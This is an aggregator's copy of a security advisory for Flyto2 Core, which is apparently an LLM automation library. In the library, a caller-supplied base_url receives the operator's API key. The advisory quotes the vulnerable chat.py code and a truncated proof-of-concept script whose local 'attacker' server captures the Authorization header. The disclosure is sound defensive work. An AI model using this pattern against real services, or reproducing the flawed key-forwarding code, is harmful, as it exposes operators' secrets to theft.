CSIRTS // UNIFIED SECURITY ADVISORY FEEDSYS ● ONLINE · POWERED BY INTELFUSIONS.COM

GHSA-qq9q-xgm3-xv9g: Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url

highCVSS 8.6CVE-2026-67425
Summary llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High. Affected code src/core/modules/atomic/llm/chat.py (_call_openai): base_url = params.get('base_url') # caller-controlled if base_url: validate_url_with_env_config(base_url) # SSRF check only; a public attacker host passes if not api_key: api_key = os.getenv('OPENAI_API_KEY') # operator's key ... url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions" headers = {"Authorization": f"Bearer {api_key}"} await client.post(url, headers=headers, json=payload) # sent to base_url The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host. Reproduction Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server. #!/usr/bin/env python3 import asyncio import os import threading from http.server import BaseHTTPRequestHandler, HTTPServer os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a" os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # stand-in for the attacker's public host CAPTURED = {} class Attacker(BaseHTTPRequestHandler): def do_POST(self): CAPTURED["auth"] = self.headers.get("Authorization") ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln) b = b'{"choices":[{"message":{"

Details

Source
GitHub Security Advisories (INTL · database · site)
Severity
high — CVSS 8.6
Published
2026-07-30
Last updated
2026-07-30
Exploitation
Not in CISA KEV at last sync

Original advisory: https://github.com/advisories/GHSA-qq9q-xgm3-xv9g

Exploitation outlook

EPSS (FIRST.org) estimates each CVE’s probability of exploitation in the next 30 days — here is the CSIRTS.com read on those numbers.

Referenced CVEs

CVECSIRTS overviewExternal
CVE-2026-67425coverage & exploitation statusNVD · CVE.org

Same CVEs, other sources

How other CERTs, PSIRTs and databases cover the vulnerabilities in this advisory.

More from GitHub Security Advisories